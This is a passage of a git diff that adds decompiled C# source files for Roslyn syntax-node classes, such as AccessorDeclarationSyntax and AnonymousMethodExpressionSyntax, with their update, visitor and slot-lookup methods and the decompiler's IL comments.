writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)yieldKeyword); + writer.WriteValue((IObjectWritable)(object)returnOrBreakKeyword); + writer.WriteValue((IObjectWritable)(object)expression); + writer.WriteValue((IObjectWritable)(object)semicolonToken); + } + + static YieldStatementSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(YieldStatementSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new YieldStatementSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/AccessorDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/AccessorDeclarationSyntax.cs new file mode 100644 index 0000000..7beba21 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/AccessorDeclarationSyntax.cs @@ -0,0 +1,219 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class AccessorDeclarationSyntax : CSharpSyntaxNode +{ + private SyntaxNode? attributeLists; + + private BlockSyntax? body; + + private ArrowExpressionClauseSyntax? expressionBody; + + public SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public SyntaxTokenList Modifiers + { + get + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + GreenNode slot = ((SyntaxNode)this).Green.GetSlot(1); + if (slot == null) + { + return default(SyntaxTokenList); + } + return new SyntaxTokenList((SyntaxNode)(object)this, slot, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public SyntaxToken Keyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.AccessorDeclarationSyntax)(object)((SyntaxNode)this).Green).keyword, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public BlockSyntax? Body => ((SyntaxNode)this).GetRed(ref body, 3); + + public ArrowExpressionClauseSyntax? ExpressionBody => ((SyntaxNode)this).GetRed(ref expressionBody, 4); + + public SyntaxToken SemicolonToken + { + get + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken semicolonToken = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.AccessorDeclarationSyntax)(object)((SyntaxNode)this).Green).semicolonToken; + if (semicolonToken == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)semicolonToken, ((SyntaxNode)this).GetChildPosition(5), ((SyntaxNode)this).GetChildIndex(5)); + } + } + + public AccessorDeclarationSyntax Update(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken keyword, BlockSyntax? body, SyntaxToken semicolonToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, modifiers, keyword, body, null, semicolonToken); + } + + internal AccessorDeclarationSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 3 => ((SyntaxNode)this).GetRed(ref body, 3), + 4 => ((SyntaxNode)this).GetRed(ref expressionBody, 4), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 3 => body, + 4 => expressionBody, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitAccessorDeclaration(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitAccessorDeclaration(this); + } + + public AccessorDeclarationSyntax Update(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken keyword, BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || keyword != Keyword || body != Body || expressionBody != ExpressionBody || semicolonToken != SemicolonToken) + { + AccessorDeclarationSyntax accessorDeclarationSyntax = SyntaxFactory.AccessorDeclaration(Kind(), attributeLists, modifiers, keyword, body, expressionBody, semicolonToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return accessorDeclarationSyntax; + } + return accessorDeclarationSyntax.WithAnnotations(annotations); + } + return this; + } + + public AccessorDeclarationSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, Modifiers, Keyword, Body, ExpressionBody, SemicolonToken); + } + + public AccessorDeclarationSyntax WithModifiers(SyntaxTokenList modifiers) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, modifiers, Keyword, Body, ExpressionBody, SemicolonToken); + } + + public AccessorDeclarationSyntax WithKeyword(SyntaxToken keyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, keyword, Body, ExpressionBody, SemicolonToken); + } + + public AccessorDeclarationSyntax WithBody(BlockSyntax? body) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Keyword, body, ExpressionBody, SemicolonToken); + } + + public AccessorDeclarationSyntax WithExpressionBody(ArrowExpressionClauseSyntax? expressionBody) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Keyword, Body, expressionBody, SemicolonToken); + } + + public AccessorDeclarationSyntax WithSemicolonToken(SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Keyword, Body, ExpressionBody, semicolonToken); + } + + public AccessorDeclarationSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } + + public AccessorDeclarationSyntax AddModifiers(params SyntaxToken[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + SyntaxTokenList modifiers = Modifiers; + return WithModifiers(((SyntaxTokenList)(ref modifiers)).AddRange((IEnumerable)items)); + } + + public AccessorDeclarationSyntax AddBodyAttributeLists(params AttributeListSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + BlockSyntax blockSyntax = Body ?? SyntaxFactory.Block(); + return WithBody(blockSyntax.WithAttributeLists(blockSyntax.AttributeLists.AddRange((IEnumerable)items))); + } + + public AccessorDeclarationSyntax AddBodyStatements(params StatementSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + BlockSyntax blockSyntax = Body ?? SyntaxFactory.Block(); + return WithBody(blockSyntax.WithStatements(blockSyntax.Statements.AddRange((IEnumerable)items))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/AccessorListSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/AccessorListSyntax.cs new file mode 100644 index 0000000..16fecc9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/AccessorListSyntax.cs @@ -0,0 +1,104 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class AccessorListSyntax : CSharpSyntaxNode +{ + private SyntaxNode? accessors; + + public SyntaxToken OpenBraceToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.AccessorListSyntax)(object)((SyntaxNode)this).Green).openBraceToken, ((SyntaxNode)this).Position, 0); + + public SyntaxList Accessors => new SyntaxList(((SyntaxNode)this).GetRed(ref accessors, 1)); + + public SyntaxToken CloseBraceToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.AccessorListSyntax)(object)((SyntaxNode)this).Green).closeBraceToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + internal AccessorListSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return ((SyntaxNode)this).GetRed(ref accessors, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return accessors; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitAccessorList(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitAccessorList(this); + } + + public AccessorListSyntax Update(SyntaxToken openBraceToken, SyntaxList accessors, SyntaxToken closeBraceToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (openBraceToken != OpenBraceToken || accessors != Accessors || closeBraceToken != CloseBraceToken) + { + AccessorListSyntax accessorListSyntax = SyntaxFactory.AccessorList(openBraceToken, accessors, closeBraceToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return accessorListSyntax; + } + return accessorListSyntax.WithAnnotations(annotations); + } + return this; + } + + public AccessorListSyntax WithOpenBraceToken(SyntaxToken openBraceToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(openBraceToken, Accessors, CloseBraceToken); + } + + public AccessorListSyntax WithAccessors(SyntaxList accessors) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenBraceToken, accessors, CloseBraceToken); + } + + public AccessorListSyntax WithCloseBraceToken(SyntaxToken closeBraceToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenBraceToken, Accessors, closeBraceToken); + } + + public AccessorListSyntax AddAccessors(params AccessorDeclarationSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAccessors(Accessors.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/AliasQualifiedNameSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/AliasQualifiedNameSyntax.cs new file mode 100644 index 0000000..b2e5f84 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/AliasQualifiedNameSyntax.cs @@ -0,0 +1,97 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class AliasQualifiedNameSyntax : NameSyntax +{ + private IdentifierNameSyntax? alias; + + private SimpleNameSyntax? name; + + public IdentifierNameSyntax Alias => ((SyntaxNode)this).GetRedAtZero(ref alias); + + public SyntaxToken ColonColonToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.AliasQualifiedNameSyntax)(object)((SyntaxNode)this).Green).colonColonToken, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public SimpleNameSyntax Name => ((SyntaxNode)this).GetRed(ref name, 2); + + internal override SimpleNameSyntax GetUnqualifiedName() + { + return Name; + } + + internal override string ErrorDisplayName() + { + return Alias.ErrorDisplayName() + "::" + Name.ErrorDisplayName(); + } + + internal AliasQualifiedNameSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref alias), + 2 => ((SyntaxNode)this).GetRed(ref name, 2), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => alias, + 2 => name, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitAliasQualifiedName(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitAliasQualifiedName(this); + } + + public AliasQualifiedNameSyntax Update(IdentifierNameSyntax alias, SyntaxToken colonColonToken, SimpleNameSyntax name) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + if (alias != Alias || colonColonToken != ColonColonToken || name != Name) + { + AliasQualifiedNameSyntax aliasQualifiedNameSyntax = SyntaxFactory.AliasQualifiedName(alias, colonColonToken, name); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return aliasQualifiedNameSyntax; + } + return aliasQualifiedNameSyntax.WithAnnotations(annotations); + } + return this; + } + + public AliasQualifiedNameSyntax WithAlias(IdentifierNameSyntax alias) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(alias, ColonColonToken, Name); + } + + public AliasQualifiedNameSyntax WithColonColonToken(SyntaxToken colonColonToken) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(Alias, colonColonToken, Name); + } + + public AliasQualifiedNameSyntax WithName(SimpleNameSyntax name) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return Update(Alias, ColonColonToken, name); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/AnonymousFunctionExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/AnonymousFunctionExpressionSyntax.cs new file mode 100644 index 0000000..b8af9ac --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/AnonymousFunctionExpressionSyntax.cs @@ -0,0 +1,125 @@ +using System.Collections.Generic; +using System.Linq; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public abstract class AnonymousFunctionExpressionSyntax : ExpressionSyntax +{ + public CSharpSyntaxNode Body => (CSharpSyntaxNode)(((object)Block) ?? ((object)ExpressionBody)); + + public abstract SyntaxToken AsyncKeyword { get; } + + public abstract SyntaxTokenList Modifiers { get; } + + public abstract BlockSyntax? Block { get; } + + public abstract ExpressionSyntax? ExpressionBody { get; } + + public AnonymousFunctionExpressionSyntax WithBody(CSharpSyntaxNode body) + { + if (!(body is BlockSyntax block)) + { + return WithExpressionBody((ExpressionSyntax)body).WithBlock(null); + } + return WithBlock(block).WithExpressionBody(null); + } + + public AnonymousFunctionExpressionSyntax WithAsyncKeyword(SyntaxToken asyncKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAsyncKeywordCore(asyncKeyword); + } + + internal abstract AnonymousFunctionExpressionSyntax WithAsyncKeywordCore(SyntaxToken asyncKeyword); + + private protected SyntaxTokenList UpdateAsyncKeyword(SyntaxToken asyncKeyword) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Unknown result type (might be due to invalid IL or missing references) + //IL_0092: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + if (asyncKeyword == default(SyntaxToken)) + { + if (Modifiers.Any(SyntaxKind.AsyncKeyword)) + { + return new SyntaxTokenList(((IEnumerable)(object)Modifiers).Where((SyntaxToken m) => !m.IsKind(SyntaxKind.AsyncKeyword))); + } + return Modifiers; + } + SyntaxToken asyncKeyword2 = AsyncKeyword; + SyntaxTokenList modifiers; + if (asyncKeyword2 == default(SyntaxToken)) + { + modifiers = Modifiers; + return ((SyntaxTokenList)(ref modifiers)).Add(asyncKeyword); + } + modifiers = Modifiers; + return ((SyntaxTokenList)(ref modifiers)).Replace(asyncKeyword2, asyncKeyword); + } + + internal AnonymousFunctionExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + public AnonymousFunctionExpressionSyntax WithModifiers(SyntaxTokenList modifiers) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithModifiersCore(modifiers); + } + + internal abstract AnonymousFunctionExpressionSyntax WithModifiersCore(SyntaxTokenList modifiers); + + public AnonymousFunctionExpressionSyntax AddModifiers(params SyntaxToken[] items) + { + return AddModifiersCore(items); + } + + internal abstract AnonymousFunctionExpressionSyntax AddModifiersCore(params SyntaxToken[] items); + + public AnonymousFunctionExpressionSyntax WithBlock(BlockSyntax? block) + { + return WithBlockCore(block); + } + + internal abstract AnonymousFunctionExpressionSyntax WithBlockCore(BlockSyntax? block); + + public AnonymousFunctionExpressionSyntax AddBlockAttributeLists(params AttributeListSyntax[] items) + { + return AddBlockAttributeListsCore(items); + } + + internal abstract AnonymousFunctionExpressionSyntax AddBlockAttributeListsCore(params AttributeListSyntax[] items); + + public AnonymousFunctionExpressionSyntax AddBlockStatements(params StatementSyntax[] items) + { + return AddBlockStatementsCore(items); + } + + internal abstract AnonymousFunctionExpressionSyntax AddBlockStatementsCore(params StatementSyntax[] items); + + public AnonymousFunctionExpressionSyntax WithExpressionBody(ExpressionSyntax? expressionBody) + { + return WithExpressionBodyCore(expressionBody); + } + + internal abstract AnonymousFunctionExpressionSyntax WithExpressionBodyCore(ExpressionSyntax? expressionBody); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/AnonymousMethodExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/AnonymousMethodExpressionSyntax.cs new file mode 100644 index 0000000..6f0351c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/AnonymousMethodExpressionSyntax.cs @@ -0,0 +1,243 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class AnonymousMethodExpressionSyntax : AnonymousFunctionExpressionSyntax +{ + private ParameterListSyntax? parameterList; + + private BlockSyntax? block; + + private ExpressionSyntax? expressionBody; + + public override SyntaxToken AsyncKeyword => Modifiers.FirstOrDefault(SyntaxKind.AsyncKeyword); + + public override SyntaxTokenList Modifiers + { + get + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + GreenNode slot = ((SyntaxNode)this).Green.GetSlot(0); + if (slot == null) + { + return default(SyntaxTokenList); + } + return new SyntaxTokenList((SyntaxNode)(object)this, slot, ((SyntaxNode)this).Position, 0); + } + } + + public SyntaxToken DelegateKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.AnonymousMethodExpressionSyntax)(object)((SyntaxNode)this).Green).delegateKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public ParameterListSyntax? ParameterList => ((SyntaxNode)this).GetRed(ref parameterList, 2); + + public override BlockSyntax Block => ((SyntaxNode)this).GetRed(ref block, 3); + + public override ExpressionSyntax? ExpressionBody => ((SyntaxNode)this).GetRed(ref expressionBody, 4); + + public new AnonymousMethodExpressionSyntax WithBody(CSharpSyntaxNode body) + { + if (!(body is BlockSyntax blockSyntax)) + { + return WithExpressionBody((ExpressionSyntax)body).WithBlock(null); + } + return WithBlock(blockSyntax).WithExpressionBody(null); + } + + public AnonymousMethodExpressionSyntax Update(SyntaxToken asyncKeyword, SyntaxToken delegateKeyword, ParameterListSyntax parameterList, CSharpSyntaxNode body) + { + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + if (!(body is BlockSyntax blockSyntax)) + { + return Update(asyncKeyword, delegateKeyword, parameterList, null, (ExpressionSyntax)body); + } + return Update(asyncKeyword, delegateKeyword, parameterList, blockSyntax, null); + } + + internal override AnonymousFunctionExpressionSyntax WithAsyncKeywordCore(SyntaxToken asyncKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAsyncKeyword(asyncKeyword); + } + + public new AnonymousMethodExpressionSyntax WithAsyncKeyword(SyntaxToken asyncKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(asyncKeyword, DelegateKeyword, ParameterList, Block, ExpressionBody); + } + + public AnonymousMethodExpressionSyntax Update(SyntaxToken asyncKeyword, SyntaxToken delegateKeyword, ParameterListSyntax parameterList, BlockSyntax block, ExpressionSyntax expressionBody) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return Update(UpdateAsyncKeyword(asyncKeyword), delegateKeyword, parameterList, block, expressionBody); + } + + internal AnonymousMethodExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 2 => ((SyntaxNode)this).GetRed(ref parameterList, 2), + 3 => ((SyntaxNode)this).GetRed(ref block, 3), + 4 => ((SyntaxNode)this).GetRed(ref expressionBody, 4), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 2 => parameterList, + 3 => block, + 4 => expressionBody, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitAnonymousMethodExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitAnonymousMethodExpression(this); + } + + public AnonymousMethodExpressionSyntax Update(SyntaxTokenList modifiers, SyntaxToken delegateKeyword, ParameterListSyntax? parameterList, BlockSyntax block, ExpressionSyntax? expressionBody) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (modifiers != Modifiers || delegateKeyword != DelegateKeyword || parameterList != ParameterList || block != Block || expressionBody != ExpressionBody) + { + AnonymousMethodExpressionSyntax anonymousMethodExpressionSyntax = SyntaxFactory.AnonymousMethodExpression(modifiers, delegateKeyword, parameterList, block, expressionBody); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return anonymousMethodExpressionSyntax; + } + return anonymousMethodExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override AnonymousFunctionExpressionSyntax WithModifiersCore(SyntaxTokenList modifiers) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithModifiers(modifiers); + } + + public new AnonymousMethodExpressionSyntax WithModifiers(SyntaxTokenList modifiers) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(modifiers, DelegateKeyword, ParameterList, Block, ExpressionBody); + } + + public AnonymousMethodExpressionSyntax WithDelegateKeyword(SyntaxToken delegateKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(Modifiers, delegateKeyword, ParameterList, Block, ExpressionBody); + } + + public AnonymousMethodExpressionSyntax WithParameterList(ParameterListSyntax? parameterList) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return Update(Modifiers, DelegateKeyword, parameterList, Block, ExpressionBody); + } + + internal override AnonymousFunctionExpressionSyntax WithBlockCore(BlockSyntax? block) + { + return WithBlock(block ?? throw new ArgumentNullException("block")); + } + + public new AnonymousMethodExpressionSyntax WithBlock(BlockSyntax block) + { + //IL_0002: Unknown result type (might be due to 